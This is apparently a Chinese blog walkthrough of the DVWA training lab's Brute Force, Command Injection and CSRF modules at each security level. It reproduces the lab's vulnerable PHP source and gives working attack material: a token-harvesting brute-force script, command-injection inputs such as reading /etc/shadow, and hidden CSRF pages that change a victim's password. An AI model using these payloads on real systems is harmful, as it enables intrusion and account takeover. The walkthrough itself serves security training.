本文参考:https://www.freebuf.com/author/lonehand

DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/Mysql Web应用,为安全人员提供一个训练的靶场。

DVWA共有十个模块,分别是Brute Force(暴力(破解))、Command Injection(命令行注入)、CSRF(跨站请求伪造)、File Inclusion(文件包含)、File Upload(文件上传)、Insecure CAPTCHA(不安全的验证码)、SQL Injection(SQL注入)、SQL Injection(Blind)(SQL盲注)、XSS(Reflected)(反射型跨站脚本)、XSS(Stored)(存储型跨站脚本)。

DVWA的搭建还是比较简单的

安装包下载:https://github.com/ethicalhack3r/DVWA/archive/master.zip
环境搭建:https://jingyan.baidu.com/article/a3a3f81117e5f18da2eb8a09.html

Brute Force

Brute Force,即暴力(破解),是指黑客利用密码字典,使用穷举法猜解出用户口令,是现在最为广泛使用的攻击手段之一。

Low

后端接受数据源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];
// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>

从源码中看出,在服务器端只是验证了login参数是否有被设置(isset函数在php中是用来检测变量是否被设置的,该函数的返回类型为布尔类型,即true/false),没有任何的防爆破的机制,且对参数username和password没有任何过滤,存在明显的sql注入漏洞。

漏洞利用

利用burpsuite的Intruder模块进行爆破

1.进行抓包并转发到Intruder,并将password参数设置为爆破点

2.在Intruder模块中的Payloads板块Payload Options进行选择爆破密码,这边暂时选择了Passwords字典,如果没有爆破出密码可以进行更换密码字典,或者添加密码字典。

3.这些选择完毕可以点击右上角的Start attack开始进行爆破,当爆破完毕查看数据包长度,最与众不同的那个数据包长度就是密码

4.重新进入界面用爆破出来的密码进行登录

成功登陆

Medium

服务器源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

if( isset( $_GET[ 'Login' ] ) ) {
// Sanitise username input
$user = $_GET[ 'username' ];
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );

// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];

// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( 2 );
echo "<pre><br />Username and/or password incorrect.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

通过服务器源码发现,Medium中主要是增加了mysql_real_escape-string函数,该函数会对字符串中的特殊符号(0x00,n,r,‘,“,x1a)进行转义,基本上能够抵御sql注入,在mysql5.5.37以下版本如果设置编码为GBK,能够构造编码绕过mysql_real_escape_strin对单引号的转义;同时$pass做了MD5校验,杜绝了通过参数password进行sql注入的可能性,但是依旧没有加入有效的防爆破机制。

mysql_real_escape_string函数绕过方式可以参看
https://fzykn06.github.io/2019/12/27/sqli-labs-writeup/ less36中的playload方式进行。也可参考:http://www.cnblogs.com/Safe3/archive/2008/08/22/1274095.html

漏洞利用:

burpsuite爆破,爆破方式和low的一致,这边简要步骤:

拦截报文,设置爆破参数,选择字典

通过爆破发现密码为password,并尝试登录,发现是可以登录的

High

服务器端代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php

if( isset( $_GET[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Sanitise username input
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );

// Check database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];

// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( rand( 0, 3 ) );
echo "<pre><br />Username and/or password incorrect.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

High级别的代码加入了token进行检验,可以抵御CSRF攻击,同时增加了爆破的难度,通过抓包可以看到,登录验证时提交了四个参数:username,password,login和user_token

每次服务器返回的登录页面中都会包含一个随机的user_token的值,用户每次登录时都要将user_token一起提交,服务器收到前端提交的参数都会先进行token的检查,在进行sql查询。

同时在High级别的代码中,使用stripslashes(去除字符串中的反斜线字符,如果有两个连续的反斜线,则只会去掉一个)mysql_real_escape_string对参数username、password进行过滤、转义,进一步抵御sql注入。

漏洞利用

因为加入了Anti-CSRFtoken预防无脑爆破,所以就不适合使用burpsuite,需要使用python脚本进行爆破,本来使用freebuf参考链接里面的脚本,发现跑出来不对,后面尝试了Somnus师傅的脚本(ps要用127.0.0.1作为主机地址,不让跑出来还是不对,我也不知道为啥)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
//python2.7
import requests
from bs4 import BeautifulSoup

url="http://127.0.0.1/DVWA-master/vulnerabilities/brute/"
header={
'Host': '127.0.0.1',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Referer': 'http://172.18.9.91/DVWA-master/vulnerabilities/brute/',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Cookie': 'security=high; PHPSESSID=l59afi596kgh0bmesipt01ein6',
'Connection': 'close'
}
file=open('pass.txt','r')
for line in file:
line=line.strip()
s=requests.Session()
r=s.get(url,headers=header)
soup=BeautifulSoup(r.text,'html.parser')
user_token=soup.find_all('input')[3]['value']
payload={
'username':'admin',
'password':line,
'user_token':user_token,
'Login':'Login'
}
html=s.get(url,params=payload,headers=header)
length=len(html.text)
print('user_token:'+user_token+'username:admin password:'+line+' length:'+str(length))

脚本跑下来,发现password长度不一样

使用admin和password进行登录,成功登陆

Impossible

服务器端源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
<?php

if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Sanitise username input
$user = $_POST[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Sanitise password input
$pass = $_POST[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );

// Default values
$total_failed_login = 3;
$lockout_time = 15;
$account_locked = false;

// Check the database (Check user information)
$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();

// Check to see if the user has been locked out.
if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) {
// User locked out. Note, using this method would allow for user enumeration!
//echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";

// Calculate when the user would be allowed to login again
$last_login = strtotime( $row[ 'last_login' ] );
$timeout = $last_login + ($lockout_time * 60);
$timenow = time();

/*
print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
*/

// Check to see if enough time has passed, if it hasn't locked the account
if( $timenow < $timeout ) {
$account_locked = true;
// print "The account is locked<br />";
}
}

// Check the database (if username matches the password)
$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR);
$data->bindParam( ':password', $pass, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();

// If its a valid login...
if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
// Get users details
$avatar = $row[ 'avatar' ];
$failed_login = $row[ 'failed_login' ];
$last_login = $row[ 'last_login' ];

// Login successful
echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
echo "<img src=\"{$avatar}\" />";

// Had the account been locked out since last login?
if( $failed_login >= $total_failed_login ) {
echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
}

// Reset bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
} else {
// Login failed
sleep( rand( 2, 4 ) );

// Give the user some feedback
echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";

// Update bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}

// Set the last login time
$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

可以看到在该级别中加入了可靠的防爆破机制,当检测到频繁的错误登录之后,系统会将账户锁定,爆破也就无法继续。如果能将爆破字典浓缩在错误次数以内还是可以进行爆破的,但基本上盲破的话无法浓缩这么小的字典。同时在服务器端采用了PDO(PHP Data Object)机制防御sql注入,PDO是PHP中一个轻量级的、具体兼容接口的PHP数据连接拓展,在php5.1以后的版本中的可以进行使用。PDO 提供了一个数据访问抽象层,这意味着,不管使用哪种数据库,都可以用相同的函数(方法)来查询和获取数据。因为不能使用PDO扩展本身执行任何数据库操作,而sql注入的关键就是通过sql语句结构执行恶意的sql命令。

Command Injection

Command Injection,即命令注入,是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的。PHP命令注入攻击漏洞是PHP应用程序中较为常见的脚本漏洞之一,国内著名的web应用程序Discuz!、DedeCMS等都曾经存在过该类型漏洞。

Low

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}

?>

相关函数:stristr(string,search,before_search)

stristr

函数搜索字符串在另一字符串中的第一次出现,返回字符串的剩余部分(从匹配点),如果未找到所搜索的字符串,则返回false。参数string规定被搜索的字符串,参数search规定要搜索的字符串(若该参数为数字,则所搜匹配该数字对应的ASCII值字符),可选参数before_search为布尔类型,默认为false,若设置为true,函数将返回search参数第一次出现之前的字符串部分。

php_uname(mode)

该函数返回运行php的操作系统的相关描述,参数mode可取值“a”(默认,包含序列“s n r v m”里的所有模式),”s ”(返回操作系统名称),”n”(返回主机名),” r”(返回版本名称),”v”(返回版本信息), ”m”(返回机器类型)。

从源码看到,服务器通过判断操作系统执行不同ping命令,但是对ip没有做过滤操作,导致严重的命令注入漏洞。

漏洞利用

Windows与Linux系统使用&&执行多条命令

键入:127.0.0.1&&net user

若是部署在linux下,键入127.0.0.1&&cat/etc/shadow甚至可以读取shadow文件。

Medium

服务器端源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];

// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);

// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}

?>

通过源码可以看到,服务器端对ip参数做了部分字符的过滤,即将&&;进行删除,就是相当于将这两个符号拉入黑名单的机制,但是没有过滤其他的字符,就还是存在安全的问题。

漏洞利用

方式一:键入:127.0.0.1&net user

因为被过滤的只有&&;所以&没有影响。

tips: 在cmd命令中 &&&的区别

Command1&&Command2

先执行Command1,执行成功后再执行Command2,否则不执行Command2

Command1&Command2

先执行Command1,不管是否执行成功,都会执行Command2

方式二:由于使用str_replace把&&;替换为空字符,因此可以采用中&&中间用分号隔开,即:127.0.0.1&;&ipconfig

能够成功执行的原因是在服务器端将提交的数据先进行&&的检查,由于中间存在分号,函数检查不到&&符号,所以不会将其删除,再进行分号的检查,并将分号变为空字符,这样原命令变为127.0.0.1&&ipconfig,会执行成功。

High

服务器端源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);

// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);

// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}

?>

通过源码可以看到,服务器端对更多的字符进行了过滤,但是由于黑名单机制的局限性,还是可以进行绕过的。

漏洞利用

从黑名单看像是过滤了所有的非法字符,但是仔细观察发现是把 “| ”(ps这边的|后面还有一个空格)替换成空字符,于是就可以通过|进行漏洞利用。

键入:127.0.0.1|net user

tips:Command1|Command2

|是管道符,表示将Command1的输出作为Command2的输入,并且只打印Command2执行的结果。

Impossible

服务器端源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );

// Split the IP into 4 octects
$octet = explode( ".", $target );

// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
echo '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

相关函数

stripslashes(string)

stripslashes函数会删除字符串string中的反斜杠,返回已剥离反斜杠的字符串。

explode(separator,string,limit)

把字符串打散为数组,返回字符串的数组。参数separator规定在哪里分割字符串,参数string是要分割的字符串,可选参数limit规定所返回的数组元素的数目。

is_numeric(string)

检测string是否为数字或者数字字符串,如果是则返回true,否则返回false。

从源码中可以看到在该级别中加入了Anti-CSRF token,同时对参数ip进行严格的限制,只有像:number.number.number.number的输入才会被接收,因此不存在命令注入漏洞。

CSRF

CSRF,全程Cross-site request forgery,跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作。

CSRF与XSS最大的区别在于,CSRF并没有盗取cookie而是直接利用。

Low

服务器端源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

从源码中看到服务器收到修改密码的请求后,会检查参数password_new与password_conf是否相同,如果相同,就会修改密码,并没有任何的防护CSRF机制,但是在服务器中对请求的发送者是做了身份验证的,是检查cookie,只是在代码中没有进行体现。

漏洞利用

1.构造链接:

1)基础版:

1
http://172.18.9.91/DVWA-master/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#

ps:CSRF最关键的是利用受害者的cookie,向服务器发送伪造请求,所以如果受害者之前用chrome浏览器登录的这个系统,而用搜狗浏览器点击这个链接,攻击是不会触发的,因为在搜狗浏览器中并不能了利用chrome浏览器的cookie,所以会自动跳转到登录见面。

这么比较基础的CSRF,链接比较明显,基本上不会有人去点击,在真正的攻击中需要对链接进行处理。

2)使用短链接隐藏URL,点击短链接会自动跳转到真实的网站

如:https://dwz.cn/****

但是目前这个站点只为企业提供服务了,并且由于是本地搭建的环境,服务器域名是ip地址,所以无法生成相应的短链接,实际攻击场景下只要目标服务器的域名不是ip,是可以生成相应短链接的。

ps:虽然利用短链接隐藏了url,但是受害者最终还是会看到密码修改成功的页面,所以这种方式并不是高明的

3)构造攻击页面

现实攻击场景下,这种方法需要实现在公网上传一个攻击页面,诱骗受害者访问,真正能够在受害者不知情的情况下完成CSRF攻击。

在本地写一个test.html,源码如下:

1
2
3
4
5
<img src="http://172.18.9.91/DVWA-master/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/>

<h1>404<h1>

<h2>file not found.<h2>

当受害者访问test.html时,会误认为自己点击的是一个失效的url,但实际上已经遭受了CSRF攻击,密码已经被修改为hack。

Medium

服务端源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

相关函数

stripos ( string $haystack , string $needle [, int $offset = 0 ] ) : int

stripos函数主要功能返回haystack中need了首次出现的数字位置。stripos()不区分大小写,可选的 offset 参数,从字符此数量的开始位置进行搜索。 如果是负数,就从字符末尾此数量的字符数开始统计。返回 needle 存在于 haystack 字符串开始的位置(独立于偏移量)。同时注意字符串位置起始于 0,而不是 1。如果未发现 needle 将返回 FALSE。

可以看到,Medium级别的代码检查了保留变量HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含了SERVER_NAME(http包头的Host参数,及要访问的主机名,此处应为172.18.9.91),希望可以通过这种机制抵御CSRF攻击。

漏洞利用

过滤规则是http包头的Referer参数的值中必须包含主机名,可以将攻击页面命名为host.html(将页面放置进攻击者服务器中)就可以绕过,

通过burpsuite的截图

Referer参数绕过过滤规则

密码修改成功

High

服务器端源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

在高级别的源码中加入了Anti-CSRF token机制,每次访问修改密码页面时,服务器会返回一个随机的token,向服务器发起请求时需要提供token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。

漏洞利用

要绕过High级别的反CSRF机制,关键是要获取token,要利用受害者的cookie去修改密码页面获取关键的token。

构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而完成CSRF攻击,下面是代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<script type="text/javascript">

function attack()

{

document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;

document.getElementById("transfer").submit();

}

</script>

<iframe src="http://172.18.9.91/DVWA-master/vulnerabilities/csrf/" id="hack" border="0" style="display:none;">

</iframe>


<body onload="attack()">

<form method="GET" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/csrf">

<input type="hidden" name="password_new" value="password">

<input type="hidden" name="password_conf" value="password">

<input type="hidden" name="user_token" value="">

<input type="hidden" name="Change" value="Change">

</form>

</body>

攻击思路就是当受害者点击进入这个页面,脚本会通过一个看不见框架访问修改密码的页面,获取页面中的token,并向服务器发送改密请求,完成CSRF攻击。但是这边牵扯到跨域问题,目前浏览器是不允许跨域请求的。

跨域就是当我们框架iframe访问地址是http://172.18.9.91/DVWA-master/vulnerabilities/csrf/,位于服务器172.18.9.91上,如果攻击页面不是位于这个服务器上,两者的域名不同,域名B下的所有页面都不允许主动获取域名A下的页面内容,除非域名A下的页面主动发送消息给域名B的压面,所以攻击脚本是不可能取到改密界面中的user——token。由于跨域是不能实现的,所以要将攻击代码注入到目标服务器中,才能可能完成攻击,可通过High级别的XSS漏洞协助获取Anti-CSRF token(因为这边的XSS注入有长度限制,不能够注入完整的攻击脚本,所以只获取Anti-CSRF token)

由于我的环境搭建在本机上,所以不属于跨域请求,所以无需通过XSS进行。

Impossible

服务器端源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$pass_curr = $_GET[ 'password_current' ];
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Sanitise current password input
$pass_curr = stripslashes( $pass_curr );
